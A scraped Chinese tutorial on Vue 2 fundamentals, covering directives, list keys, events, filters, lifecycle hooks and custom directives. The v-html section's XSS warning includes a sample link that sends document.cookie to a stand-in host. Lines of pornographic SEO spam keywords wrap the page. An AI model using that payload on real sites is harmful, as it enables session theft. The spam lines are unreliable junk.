日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 前端技术 > vue >内容正文

vue

Vue框架总结(一、Vue基础知识)

發(fā)布時(shí)間:2024/1/1 vue 62 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Vue框架总结(一、Vue基础知识) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

Vue

  • 一、前言
    • 1. Vue簡介
    • 2. Vue特點(diǎn)
    • 3. Vue周邊庫
    • 4. Vue導(dǎo)入
    • 5. 案例入門
  • 二、Vue基本語法
  • 三、內(nèi)容渲染指令
    • 1. 插值語法
    • 2. v-text
    • 3. v-html
    • 4. v-once
    • 5. v-pre
    • 6. v-cloak
  • 四、數(shù)據(jù)綁定指令
    • 1. v-bind
    • 2. v-model
      • 1. 綁定文本框
      • 2. 綁定單個(gè)復(fù)選框
      • 3. 綁定多個(gè)復(fù)選框
      • 4. v-model修飾符
  • 五、條件渲染指令
    • 1. v-if
    • 2. v-else-if
    • 3. v-else
    • 4. v-show
  • 六、列表渲染指令
    • 1. v-for
    • 2. key作用與原理
  • 七、事件監(jiān)聽指令
    • 1. v-on
    • 2. 事件修飾符
    • 3. 鍵盤事件
  • 八、過濾器
    • 1. 過濾器簡介
    • 2. 過濾器案例
  • 九、Vue生命周期
  • 十、自定義指令
    • 1. 局部注冊(cè)
    • 2. 全局注冊(cè)
    • 3. 鉤子函數(shù)

一、前言

1. Vue簡介

  • Vue 是一套動(dòng)態(tài)構(gòu)建用戶界面的漸進(jìn)式JavaScript框架

  • 官網(wǎng)

2. Vue特點(diǎn)

  • 采用組件化模式,提供代碼復(fù)用率,且讓代碼更好維護(hù)
  • 聲明式編碼,讓編碼人員無需操作直接操作DOM,提高開發(fā)效率
  • 使用虛擬DOM + 優(yōu)秀的 Diff 算法,盡量復(fù)用 DOM結(jié)點(diǎn)

3. Vue周邊庫

  • vue-cli:vue腳手架
  • vue-resource
  • axios
  • vue-router:路由
  • vuex:狀態(tài)管理
  • element-ui:基于vue的UI組件庫(PC端)

4. Vue導(dǎo)入

Vue是一個(gè)JS框架,所以,如果想使用Vue,則在當(dāng)前頁面引入Vue.js文件即可。

<!--本地導(dǎo)入--> <script src="本地 vue.js 文件路徑"></script><!--在線導(dǎo)入--> <!--對(duì)于制作原型或?qū)W習(xí),你可以這樣使用最新版本--> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.8/dist/vue.js"></script> <!--對(duì)于生產(chǎn)環(huán)境,官方推薦鏈接到一個(gè)明確的版本號(hào)和構(gòu)建文件,以避免新版本造成的不可預(yù)期的破壞:--> <script src="https://cdn.jsdelivr.net/npm/vue@2.7.8"></script>

5. 案例入門

<div id="root"><h1>Hello {{name}}</h1> </div> <script type="text/javascript">// 關(guān)閉 Vue 生產(chǎn)提示Vue.config.productionTip = false;// 創(chuàng)建一個(gè)Vue對(duì)象const app = new Vue({// 指定,該對(duì)象代表<div id="root">,也就是說,這個(gè)div中的所有內(nèi)容,都被當(dāng)前的app對(duì)象管理el:"#root",// 定義vue中的數(shù)據(jù)data(){return{name:"劃水藝術(shù)家"}}}) </script>

效果:

二、Vue基本語法

Vue模板語法包括兩大類:

插值語法

  • 功能:用于解析標(biāo)簽體內(nèi)容
  • 寫法:{{xxx}},xxx是js表達(dá)式,且可以直接讀取到data中的所有區(qū)域

指令語法

  • 功能:用于解析標(biāo)簽(包括:標(biāo)簽屬性、標(biāo)簽體內(nèi)容、綁定事件…)
  • 舉例:<a v-bind:href="xxx">,xxx同樣要寫js表達(dá)式,且可以直接讀取到data中的所有屬性
  • 備注:Vue中有很多的指令,且形式都是v-???,此處我們只是拿v-bind舉個(gè)例子

三、內(nèi)容渲染指令

1. 插值語法

插值表達(dá)式用戶把Vue中所定義的數(shù)據(jù),顯示在頁面上. 插值表達(dá)式允許用戶輸入"JS代碼片段"
語法

{{ 變量名/對(duì)象.屬性名 }}

案例

<div id="root"><!--雙括號(hào)里面是表達(dá)式--><h1>{{name}}</h1><!--雙括號(hào)前后跟字符--><h1>你好,{{name}},嘿嘿</h1><!--雙括號(hào)里面表達(dá)式加空格或者字符--><h1>{{name+ '空格或者字符' + age}}</h1><!--雙括號(hào)后加雙括號(hào)--><h1>{{name}} {{age}}</h1><!--雙括號(hào)里面還能進(jìn)行變量計(jì)算--><h1>{{age + 20}}</h1><!--雙括號(hào)只能寫在標(biāo)簽內(nèi)部,不能寫在標(biāo)簽屬性里面--><!-- <h1 {{name}}> </h1> 報(bào)錯(cuò)--> </div><script type="text/javascript">const app = new Vue({el:"#root",data(){return{name:"劃水藝術(shù)家",age: 20,}}}) </script>

2. v-text

  • v-text 其作用和插值表達(dá)式類似。v-text 可以避免插值閃爍問題,當(dāng)網(wǎng)速比較慢時(shí), 使用插值語法來展示數(shù)據(jù), 有可能會(huì)產(chǎn)生插值閃爍問題
  • 插值語法只會(huì)插入內(nèi)容,不會(huì)清除其余的內(nèi)容;但 v-text 會(huì)把當(dāng)前元素的其他內(nèi)容全部清除掉

? 插值閃爍:在數(shù)據(jù)未加載完成時(shí),頁面會(huì)顯示出原始的 {{}}, 過一會(huì)才會(huì)展示正常數(shù)據(jù)。

語法

<span v-text="name"></span> <!-- 相當(dāng)于<span>{{name}}</span> -->
  • v-text:把數(shù)據(jù)當(dāng)作純文本顯示.

案例

<div id="root"><!--v-text 是放在標(biāo)簽屬性中--><h1 v-text="name"></h1> </div>

3. v-html

某些情況下,我們從服務(wù)器請(qǐng)求到的數(shù)據(jù)本身就是一個(gè)HTML代碼,我們希望前端接受到數(shù)據(jù)后按照HTML格式進(jìn)行解析,并且顯示對(duì)應(yīng)的內(nèi)容,那我們就可以使用v-html指令。

語法

<span v-html="myHtml"></span>
  • v-html:遇到html標(biāo)簽,會(huì)正常解析

案例

<div id="root"><!--v-html是放在標(biāo)簽屬性中--><span v-html="myHtml"></span> </div><script type="text/javascript">const app = new Vue({el:"#root",data(){return{myHtml:"<h1>劃水藝術(shù)家</h1>"}}}) </script>

嚴(yán)重注意:v-html有安全性問題!!!

  • 在網(wǎng)站上動(dòng)態(tài)渲染任意HTML是非常危險(xiǎn)的,容易導(dǎo)致XSS攻擊
  • 一定要在可信的內(nèi)容上使用v-html,永遠(yuǎn)不要用在用戶提交的內(nèi)容上!!!
<div id="root"><div v-html="str"></div> </div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在啟動(dòng)時(shí)生成生產(chǎn)提示。new Vue({el:'#root',data:{str:'<a href=javascript:location.href="http://www.xxx.com?"+document.cookie>兄弟我找到你想要的資源了,快來!</a>',}}) </script>


當(dāng)點(diǎn)擊這個(gè)鏈接就進(jìn)入心懷不軌之人的圈套了!!!

4. v-once

我們有時(shí)候希望展示的部分?jǐn)?shù)據(jù)不會(huì)隨著Vue的響應(yīng)式而發(fā)生變化,就可以使用 v-once 指令。

<div id="root"><h1>會(huì)變化{{name}}</h1><h1 v-once>不會(huì)變化{{name}}</h1> </div>
  • v-once指令后面不需要跟任何表達(dá)式
  • v-once該指令表示元素和組件只渲染一次,不會(huì)隨著數(shù)據(jù)的改變而改變,可以用于優(yōu)化性能

5. v-pre

該指令的作用是用于跳過這個(gè)元素和它子元素的編譯過程,用于顯示原本的插值語法,一般我們的插值語法會(huì)去data里面找對(duì)應(yīng)的變量然后解析,可是如果我們就想讓其顯示為 {{name}} ,這個(gè)時(shí)候需要加 v-pre 屬性,如下

<div id="root"><h1 v-pre>{{name}}</h1> </div>

  • v-pre跳過其所在節(jié)點(diǎn)的編譯過程。
  • v-pre可利用它跳過:沒有使用指令語法、沒有使用插值語法的節(jié)點(diǎn),會(huì)加快編譯

6. v-cloak

在實(shí)際開發(fā)中,前端數(shù)據(jù)大多是從服務(wù)器端獲取來的,如果網(wǎng)絡(luò)不好獲取的比較慢,瀏覽器可能會(huì)直接顯示出未編譯的插值標(biāo)簽。那么頁面在渲染時(shí)可能會(huì)先顯示 {{name}} 之后變?yōu)?劃水藝術(shù)家。這種效果不是我們想要的,我們可以給標(biāo)簽添加 v-cloak 來避免這種效果。(v-cloak 與 v-text 都可以解決插值閃爍問題,但 v-text 會(huì)清楚當(dāng)前元素顯示的其他內(nèi)通內(nèi)容,但 v-cloak 不會(huì))

v-cloak 使用流程:

  • 加上v-clock 屬性,并加上css。
  • vue解析之前有 v-clock 屬性時(shí),讓其不顯示
  • Vue解析之后沒有v-clock 屬性,再讓其顯示
<style>[v-cloak] {display: none;} </style><div id="root"><h1 v-cloak>{{name}}</h1> </div><script>const app = new Vue({// el:"#root",data(){return{name:"劃水藝術(shù)家",}}})// 在 2 秒后才實(shí)例化容器setTimeout(() => {app.$mount("#root")}, 2000) </script>

四、數(shù)據(jù)綁定指令

Vue中有2種數(shù)據(jù)綁定的方式:

  • 單向綁定(v-bind):數(shù)據(jù)只能從data流向頁面
  • 雙向綁定(v-model):數(shù)據(jù)不僅能從data流向頁面,還可以從頁面流向data

1. v-bind

上述指令主要作用是將值插入到我們的模板的內(nèi)容當(dāng)中,但是,除了內(nèi)容需要?jiǎng)討B(tài)來決定外,某些屬性我們也希望動(dòng)態(tài)來綁定。比如:

  • 動(dòng)態(tài)綁定<a>的 href 屬性
  • 動(dòng)態(tài)綁定<img>元素的 src 屬性

使用如下

<div id="root"><a v-bind:href="url">百度</a> </div><script>const app = new Vue({el: "#root",data(){return {url: 'http://www.baidu.com'}}}) </script>

可以將 v-bind 簡寫為 :

<div id="root"><a :href="url">百度</a> </div>

2. v-model

? v-model可以實(shí)現(xiàn):數(shù)據(jù)變化的時(shí)候, 頁面會(huì)自動(dòng)刷新;頁面變化的時(shí)候,數(shù)據(jù)也會(huì)自動(dòng)變化。

注意:

  • 雙向綁定, 只能綁定 “文本框,單選按鈕,復(fù)選框,文本域,下拉列表 ”等
  • 文本框/單選按鈕/textarea, 綁定的數(shù)據(jù)是字符串類型
  • 單個(gè)復(fù)選框, 綁定的是boolean類型
  • 多個(gè)復(fù)選框, 綁定的是數(shù)組
  • select單選對(duì)應(yīng)字符串,多選對(duì)應(yīng)是數(shù)組

1. 綁定文本框

<div id="root">用戶名: <input type="text" v-model="username"/> </div><script type="text/javascript">new Vue({el:"#root",data:{//該屬性值和文本框的value屬性值,保持一致username:""}}); </script>

2. 綁定單個(gè)復(fù)選框

<div id="root"><input type="checkbox" v-model="agree">同意<br> </div> <script type="text/javascript">new Vue({el:"#root",data:{agree:true}}); </script>


3. 綁定多個(gè)復(fù)選框

<div id="root"><input type="checkbox" value="爬山" v-model="hobby">爬山<br><input type="checkbox" value="游泳" v-model="hobby">游泳<br><input type="checkbox" value="籃球" v-model="hobby">籃球<br> </div><script type="text/javascript">new Vue({el:"#root",data:{//數(shù)組中的值,就是被選中的元素的value屬性值hobby:["爬山","游泳"]}}); </script>

4. v-model修飾符

為了方便對(duì)用戶輸入的內(nèi)容進(jìn)行處理,Vue 為 v-model 指令提供了 3 個(gè)修飾符

修飾符作用示例
.number自動(dòng)將用戶的輸入值轉(zhuǎn)化為數(shù)值類型<input v-model.number = "age" />
.trim自動(dòng)過濾用戶輸入的首尾空白字符<input v-module.trim = "msg" />
.lazy在 change 時(shí)而非 input 時(shí)更新<input v-model.lazy = "msg" />

lazy修飾符

  • 默認(rèn)情況下, v-model 默認(rèn)是在 input 事件中同步輸入框的數(shù)據(jù)的。
  • 也就是說,一旦有數(shù)據(jù)發(fā)生改變對(duì)應(yīng)的 data 中的數(shù)據(jù)就會(huì)自動(dòng)發(fā)生改變。
  • lazy 修飾符可以讓數(shù)據(jù)在失去焦點(diǎn)或者回車時(shí)才會(huì)更新。

五、條件渲染指令

條件渲染指令用來輔助開發(fā)者按需控制 DOM 的顯示與隱藏 。 v - if、v-else-if、v-else
這三個(gè)指令與JavaScript的條件語句 if、else、else if 類似,Vue 的條件指令可以根據(jù)表達(dá)式的值在DOM中渲染或銷毀元素或組件

1. v-if

<div id="root"><h1 v-if="age >= 18">你成年了</h1> </div> <script type="text/javascript">const app = new Vue({el:"#root",data(){return{age: 20}}}) </script>

v-if的原理:

  • v-if 后面的條件為 false時(shí),對(duì)應(yīng)的元素以及子元素不會(huì)渲染,也就是根本沒有對(duì)應(yīng)的標(biāo)簽出現(xiàn)在DOM中

2. v-else-if

<div id="root"><h1 v-if="age >= 18">你成年了</h1><h1 v-else-if="age >= 12">你是個(gè)小伙子</h1> </div>

3. v-else

<div id="root"><h1 v-if="age >= 18">你成年了</h1><h1 v-else-if="age >= 12">你是個(gè)小伙子</h1><h1 v-else>你是個(gè)小學(xué)生</h1> </div>

4. v-show

v-show的用法和v-if非常相似,也用于決定一個(gè)元素是否渲染:

  • v-if 指令會(huì) 動(dòng)態(tài)地創(chuàng)建或移除 DOM 元素 ,從而控制元素在頁面上的顯示與隱藏
  • v-show 指令會(huì)動(dòng)態(tài)為元素 添加或移除 style=“display: none;” 樣式 ,從而控制元素的顯示與隱藏
<div id="root"><h1 v-show="age >= 18">你成年了</h1> </div> <script type="text/javascript">const app = new Vue({el:"#root",data(){return{age: 17}}}) </script>


六、列表渲染指令

1. v-for

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>列表渲染</title><script type="text/javascript" src="../js/vue.js"></script> </head> <body><div id="root"><h2>人員列表(遍歷數(shù)組)</h2><ul><li v-for="(p,index) in persons" :key="index">{{p.name}}-{{p.age}}</li></ul><h2>汽車信息(遍歷對(duì)象)</h2><ul><li v-for="(value,k) in car" :key="k">{{k}}-{{value}}</li></ul><h2>遍歷字符串</h2><ul><li v-for="(char,index) in str" :key="index">{{char}}-{{index}}</li></ul><h2>遍歷指定次數(shù)</h2><ul><li v-for="(number,index) in 5" :key="index">{{index}}-{{number}}</li></ul></div><script type="text/javascript">new Vue({el:'#root',data:{persons:[{id:'001',name:'張三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}],car:{name:'奧迪A8',price:'70萬',color:'黑色'},str:'hello'}})</script> </body> </html>


2. key作用與原理

  • 官方推薦我們?cè)谑褂?v-for時(shí),給對(duì)應(yīng)的元素或組件加上一個(gè) :key屬性,key的作用主要是為了高效的更新虛擬DOM。當(dāng)列表的數(shù)據(jù)變化時(shí),默認(rèn)情況下, Vue 會(huì)盡可能的復(fù)用已存在的 DOM 元素,從而提升渲染的性能 。
  • 但這種默認(rèn)的性能優(yōu)化策略,會(huì)導(dǎo)致有狀態(tài)的列表無法被正確更新 。為了給 Vue 一個(gè)提示,以便它能跟蹤每個(gè)節(jié)點(diǎn)的身份, 從而在保證有狀態(tài)的列表被正確更新的前提下, 提升渲染的性能 。此時(shí),需要為每項(xiàng)提供一個(gè)唯一的 key 屬性。

案例引入:

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>key的原理</title><script type="text/javascript" src="../js/vue.js"></script> </head> <body><div id="root"><h2>人員列表</h2><button @click.once="add">添加老劉</button><ul><li v-for="(p,index) in persons" :key="index">{{p.name}} - {{p.age}}<input type="text"></li></ul></div><script type="text/javascript">new Vue({el:'#root',data:{persons:[{id:'001',name:'張三',age:18},{id:'002',name:'李四',age:19},{id:'003',name:'王五',age:20}]},methods: {add(){const p = {id:'004',name:'老劉',age:40}this.persons.unshift(p)}},})</script> </body> </html>

運(yùn)行效果:


上述案例在增加了“老劉”后,每個(gè)人物后面的 input 輸入框紊亂,現(xiàn)在我們把 v-for 的 :key 改為 p.id 試一試。

<ul><li v-for="(p,index) in persons" :key="p.id">{{p.name}} - {{p.age}}<input type="text"></li> </ul>

運(yùn)行效果:


運(yùn)行結(jié)果正常,要明白這其中的詭異,我們就得明白Vue的虛擬DOM對(duì)比算法。

虛擬DOM中key的作用

key是虛擬DOM中對(duì)象的標(biāo)識(shí),當(dāng)數(shù)據(jù)發(fā)生變化時(shí),Vue會(huì)根據(jù)新數(shù)據(jù)生成新的虛擬DOM,隨后Vue進(jìn)行新虛擬DOM與舊虛擬DOM的差異比較,比較規(guī)則如下:


對(duì)比規(guī)則

① 舊虛擬DOM中找到了與新虛擬DOM相同的key:

  • 若虛擬DOM中內(nèi)容沒變, 直接使用之前的真實(shí)DOM
  • 若虛擬DOM中內(nèi)容變了, 則生成新的真實(shí)DOM,隨后替換掉頁面中之前的真實(shí)DOM

② 舊虛擬DOM中未找到與新虛擬DOM相同的key:創(chuàng)建新的真實(shí)DOM,隨后渲染到到頁面



用index作為key可能會(huì)引發(fā)的問題

① 若對(duì)數(shù)據(jù)進(jìn)行逆序添加、逆序刪除等破壞順序操作:會(huì)產(chǎn)生沒有必要的真實(shí)DOM更新,界面效果沒問題, 但效率低
② 若結(jié)構(gòu)中還包含輸入類的DOM:會(huì)產(chǎn)生錯(cuò)誤DOM更新,界面有問題


開發(fā)中如何選擇key?

① 最好使用每條數(shù)據(jù)的唯一標(biāo)識(shí)作為key,比如id、手機(jī)號(hào)、身份證號(hào)、學(xué)號(hào)等唯一值
② 如果不存在對(duì)數(shù)據(jù)的逆序添加、逆序刪除等破壞順序的操作,僅用于渲染列表,使用index作為key是沒有問題的


七、事件監(jiān)聽指令

在前端開發(fā)中,我們經(jīng)常需要監(jiān)聽點(diǎn)擊、拖拽、鍵盤事件等等,這個(gè)時(shí)候需要使用 v-on。

  • 作用:綁定事件監(jiān)聽器
  • 縮寫:@
DOM對(duì)象vue事件綁定
onclickv-on:click
oninputv-on:input
onkeyupv-on:keyup

1. v-on

<div id="root"><h1>count = {{count}}</h1><button v-on:click="sub">-</button><button @click="add">+</button> </div><script>const app = new Vue({el:"#root",data(){return {count: 0,}},methods: {add(){this.count++;},sub(){this.count--;}}}) </script>

如果我們的事件要傳遞參數(shù),代碼如下:

<div id="root"><button @click="method1">點(diǎn)我1</button><button @click="method2()">點(diǎn)我2</button> </div><script>new Vue({el:'#root',methods:{method1(arg1){console.log("method1: " , arg1);},method2(arg1){console.log("method2: " , arg1);}}}) </script>


在使用 v-on 綁定事件時(shí):

  • 如果事件函數(shù)后有括號(hào),如:@click=“method1()”,則默認(rèn)什么都不傳遞
  • 如果事件函數(shù)后無括號(hào),如:@click=“method2” ,則默認(rèn)傳遞事件對(duì)象

當(dāng)我們帶參數(shù)又要帶有事件參數(shù)時(shí),我們要使用 $event:

<div id="root"><button @click="method3($event,2,3,4)">點(diǎn)我3</button> </div><script>new Vue({el:'#root',methods:{method3(event, a, b, c){console.log("event = " , event);console.log("a = " , a);console.log("b = " , b);console.log("c = " , c);}}}) </script>


2. 事件修飾符

Vue中的事件修飾符:

  • prevent:阻止默認(rèn)事件(常用)
  • stop:阻止事件冒泡,也就是當(dāng)前元素發(fā)生事件,但當(dāng)前元素的父元素不發(fā)生該事件(常用)
  • once:事件只觸發(fā)一次(常用)
  • capture:使用事件捕獲模式, 主動(dòng)獲取子元素發(fā)生事件, 把獲取到的事件當(dāng)自己的事件執(zhí)行
  • self:只有 event.target 是當(dāng)前操作的元素時(shí)才觸發(fā)事件
  • passive:事件的默認(rèn)行為立即執(zhí)行,無需等待事件回調(diào)執(zhí)行完畢

修飾符可以連續(xù)寫,比如可以這么用:@click.prevent.stop="showInfo"


3. 鍵盤事件

鍵盤上的每個(gè)按鍵都有自己的名稱和編碼,例如:Enter(13)。而Vue還對(duì)一些常用按鍵起了別名方便使用。

Vue中常用的按鍵別名:

  • 回車:enter
  • 刪除:delete (捕獲“刪除”和“退格”鍵)
  • 退出:esc
  • 空格:space
  • 換行:tab (特殊,必須配合keydown去使用)
  • 上:up
  • 下:down
  • 左:left
  • 右:right

注意

系統(tǒng)修飾鍵(用法特殊):ctrl、alt、shift、meta

  • 配合keyup使用:按下修飾鍵的同時(shí),再按下其他鍵,隨后釋放其他鍵,事件才被觸發(fā)
  • 配合keydown使用:正常觸發(fā)事件

可以使用keyCode去指定具體的按鍵,比如:@keydown.13=“showInfo”


Vue.config.keyCodes.自定義鍵名 = 鍵碼,可以自定義按鍵別名


八、過濾器

1. 過濾器簡介

  • 在官方文檔中,是這樣說明的:可被用于一些常見的文本格式化,vue中過濾器的作用可被用于一些常見的文本格式化。(也就是修飾文本,但是文本內(nèi)容不會(huì)改變)

  • 通俗點(diǎn)說過濾器就是用來篩選出符合條件的,丟棄不符合條件的

  • 過濾器分為全局過濾器局部過濾器

過濾器:

  • 定義:對(duì)要顯示的數(shù)據(jù)進(jìn)行特定格式化后再顯示(適用于一些簡單邏輯的處理)。

  • 語法

① 注冊(cè)過濾器:

<script type="text/javascript">//全局過濾器Vue.filter('過濾器1',function(value){return "";})new Vue({el:'#root',//局部過濾器filters:{過濾器2(value){return "";}}}) </script>

② 使用過濾器:

<h1> {{ xxx | 過濾器}} </h1> <a :href = "xxx | 過濾器名" ></a>

備注:

  • 過濾器可以接收額外參數(shù),多個(gè)過濾器也可以串聯(lián)
  • 過濾器并沒有改變?cè)镜臄?shù)據(jù),而是產(chǎn)生新的對(duì)應(yīng)的數(shù)據(jù)

2. 過濾器案例

<!DOCTYPE html> <html> <head><meta charset="UTF-8" /><title>過濾器</title><script type="text/javascript" src="../js/vue.js"></script><script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script> </head> <body><div id="root"><h2>時(shí)間</h2><h3>當(dāng)前時(shí)間戳:{{time}}</h3><h3>轉(zhuǎn)換后時(shí)間:{{time | timeFormater()}}</h3><h3>轉(zhuǎn)換后時(shí)間:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3><h3>截取年月日:{{time | timeFormater() | mySlice}}</h3></div> </body><script type="text/javascript">//全局過濾器Vue.filter('mySlice',function(value){return value.slice(0,11)})new Vue({el:'#root',data:{time:1658929744,},//局部過濾器filters:{timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss"){return dayjs(value).format(str)}}}) </script> </html>


九、Vue生命周期

(1)什么是Vue生命周期?

官網(wǎng)的解釋:Vue 實(shí)例從創(chuàng)建到銷毀的過程,就是生命周期。也就是從開始創(chuàng)建、初始化數(shù)據(jù)、編譯模板、掛載Dom→渲染、更新→渲染、卸載等一系列過程,我們稱這是 Vue 的生命周期。


(2)vue生命周期的作用是什么?

Vue生命周期中有多個(gè)事件鉤子,讓我們?cè)诳刂普麄€(gè)Vue實(shí)例過程時(shí)更容易形成好的邏輯。


(3)vue生命周期總共有幾個(gè)階段?

可以總共分為8個(gè)階段:

  • 創(chuàng)建前/后
  • 載入前/后
  • 更新前/后
  • 銷毀前/后

(4)第一次頁面加載會(huì)觸發(fā)哪幾個(gè)鉤子?

第一次頁面加載時(shí)會(huì)觸發(fā) beforeCreate, created, beforeMount, mounted 這幾個(gè)鉤子


(5)DOM 渲染在 哪個(gè)周期中就已經(jīng)完成?

DOM 渲染在 mounted 中就已經(jīng)完成了。


(6)簡單描述每個(gè)周期具體適合哪些場景?

生命周期鉤子的一些使用方法:

beforecreate : 可以在此階段加loading事件,在加載實(shí)例時(shí)觸發(fā);

created : 初始化完成時(shí)的事件寫在這里,如在這結(jié)束loading事件,異步請(qǐng)求也適宜在這里調(diào)用;

mounted : 掛載元素,獲取到DOM節(jié)點(diǎn);

updated : 如果對(duì)數(shù)據(jù)統(tǒng)一處理,在這里寫上相應(yīng)函數(shù);

beforeDestroy : 可以做一個(gè)確認(rèn)停止事件的確認(rèn)框;

nextTick : 更新數(shù)據(jù)后立即操作dom;

常用的生命周期鉤子:

  • mounted:發(fā)送ajax請(qǐng)求、啟動(dòng)定時(shí)器、綁定自定義事件、訂閱消息等初始化操作

  • beforeDestroy:清除定時(shí)器、解綁自定義事件、取消訂閱消息等收尾工作

關(guān)于銷毀Vue實(shí)例:

  • 銷毀后借助Vue開發(fā)者工具看不到任何信息

  • 銷毀后自定義事件會(huì)失效,但原生DOM事件依然有效

  • 一般不會(huì)在beforeDestroy操作數(shù)據(jù),因?yàn)榧幢悴僮鲾?shù)據(jù),也不會(huì)再觸發(fā)更新流程了

測試案例

<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>生命周期測試案例</title> </head> <body> <div id="app"><p>{{message}}</p><button @click="changeMsg">改變msg</button> </div></body> <script src="js/vue.js"></script> <script>var vm = new Vue({el: '#app',data: {message: '你好呀~~~'},methods: {changeMsg () {this.message = '拜拜咯~~~'}},// 生命周期鉤子beforeCreate() {console.log('------初始化前------')console.log("msg = ", this.message)console.log("el = ", this.$el)},created () {console.log('------初始化完成------')console.log("msg = ", this.message)console.log("el = ", this.$el)},beforeMount () {console.log('------掛載前---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},mounted () {console.log('------掛載完成---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},beforeUpdate () {console.log('------更新前---------')console.log("msg = ", this.message)console.log("el = ", this.$el)},updated() {console.log('------更新后---------')console.log("msg = ", this.message)console.log("el = ", this.$el)}}) </script> </html>


從上面我們可以看出幾點(diǎn):

  • 首次只執(zhí)行了4個(gè)生命周期,beforeCreate,created, beforeMount, mounted;
  • 在第一個(gè)生命周期beforeCreate,拿不到data中的數(shù)據(jù),此時(shí)數(shù)據(jù)還未初始化;
  • created中,可以拿到data中的message數(shù)據(jù)了,此時(shí)數(shù)據(jù)初始化已經(jīng)完成

十、自定義指令

注冊(cè)一個(gè)自定義指令有全局注冊(cè)與局部注冊(cè)。

1. 局部注冊(cè)

new Vue({ directives:{指令名:配置對(duì)象} }) new Vue({ directives:{指令名:回調(diào)函數(shù)} })

測試案例:

<!DOCTYPE html> <html><head><meta charset="UTF-8" /><title>自定義指令</title><script type="text/javascript" src="../js/vue.js"></script></head><!-- 需求1:定義一個(gè)v-big指令,和v-text功能類似,但會(huì)把綁定的數(shù)值放大10倍。需求2:定義一個(gè)v-fbind指令,和v-bind功能類似,但可以讓其所綁定的input元素默認(rèn)獲取焦點(diǎn)。--><body><div id="root"><h2>當(dāng)前的n值是:<span v-text="n"></span> </h2><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">點(diǎn)我n+1</button><hr/><input type="text" v-fbind:value="n"></div></body><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el:'#root',data:{n:1},directives:{// 自定義指令big(element,binding){console.log('big',this) //注意此處的this是windowelement.innerText = binding.value * 10},fbind:{// 指令與元素成功綁定時(shí)(一上來)bind(element,binding){element.value = binding.value},// 指令所在元素被插入頁面時(shí)inserted(element,binding){element.focus()},// 指令所在的模板被重新解析時(shí)update(element,binding){element.value = binding.value}}} }) </script> </html>

2. 全局注冊(cè)

全局注冊(cè)注冊(cè)主要是用過Vue.directive方法進(jìn)行注冊(cè)

Vue.directive('fbind',{//指令與元素成功綁定時(shí)(一上來)bind(element,binding){element.value = binding.value},//指令所在元素被插入頁面時(shí)inserted(element,binding){element.focus()},//指令所在的模板被重新解析時(shí)update(element,binding){element.value = binding.value} })

3. 鉤子函數(shù)

自定義指令也像組件那樣存在鉤子函數(shù):

  • bind:只調(diào)用一次,指令第一次綁定到元素時(shí)調(diào)用。在這里可以進(jìn)行一次性的初始化設(shè)置
  • inserted:被綁定元素插入父節(jié)點(diǎn)時(shí)調(diào)用 (僅保證父節(jié)點(diǎn)存在,但不一定已被插入文檔中)
  • update:所在組件的 VNode 更新時(shí)調(diào)用,但是可能發(fā)生在其子 VNode更新之前。指令的值可能發(fā)生了改變,也可能沒有。但是你可以通過比較更新前后的值來忽略不必要的模板更新
  • componentUpdated:指令所在組件的 VNode 及其子 VNode 全部更新后調(diào)用
  • unbind:只調(diào)用一次,指令與元素解綁時(shí)調(diào)用

注意:

  • 指令定義時(shí)不加v-,但使用時(shí)要加v-

  • 指令名如果是多個(gè)單詞,要使用kebab-case命名方式,不要用camelCase命名

總結(jié)

以上是生活随笔為你收集整理的Vue框架总结(一、Vue基础知识)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

久久精品视频免费观看 | 久久精品1区 | 日韩动态视频 | a一片一级 | 婷婷综合五月天 | 中文超碰字幕 | 免费久久精品视频 | 狠狠色丁香九九婷婷综合五月 | av网址在线播放 | 亚洲激情中文 | 国产精品一区二区三区免费看 | 视频一区视频二区在线观看 | 四虎影视av | 激情九九 | 中文字幕999 | 中文字幕人成乱码在线观看 | 美女一级毛片视频 | 99久久婷婷国产综合精品 | 在线观看成人一级片 | 午夜av电影院 | 婷婷精品在线视频 | 粉嫩aⅴ一区二区三区 | 在线欧美最极品的av | 在线观看日韩中文字幕 | 91观看视频| 91漂亮少妇露脸在线播放 | 欧美高清成人 | 亚洲综合精品在线 | 国产精品免费观看视频 | 日本精品一二区 | 日韩精品一区二区三区中文字幕 | 在线观看黄网 | 精品九九九| 成人免费在线播放视频 | 91在线亚洲 | 国产亚洲视频中文字幕视频 | 久久国产视频网站 | 国产中文字幕在线播放 | 国产一区二区精 | 日韩视频区| 99在线视频免费观看 | 亚洲女裸体 | 午夜丰满寂寞少妇精品 | 国产精品 999 | 国产一区二区观看 | 五月婷婷导航 | 国内精品久久久久久中文字幕 | 黄色av网站在线观看 | 成人久久久久 | 91丨九色丨国产在线观看 | 久久精品国产免费看久久精品 | 亚洲精品视频网站在线观看 | 亚洲成年人免费网站 | 996久久国产精品线观看 | 超碰免费在线公开 | 尤物九九久久国产精品的分类 | 丁香婷五月 | 人人爱人人做人人爽 | 国产国产人免费人成免费视频 | 亚洲电影自拍 | 在线免费黄色 | 天天操狠狠操网站 | 在线 视频 亚洲 | 免费看的毛片 | 免费看的视频 | 久久老司机精品视频 | 一级黄色片在线 | 草久久久久 | 国产午夜精品一区二区三区在线观看 | 黄色aaa级片 | 国产99免费视频 | 五月婷婷一区二区三区 | 毛片激情永久免费 | 亚洲高清91| 国产一区久久久 | 日韩一区在线免费观看 | 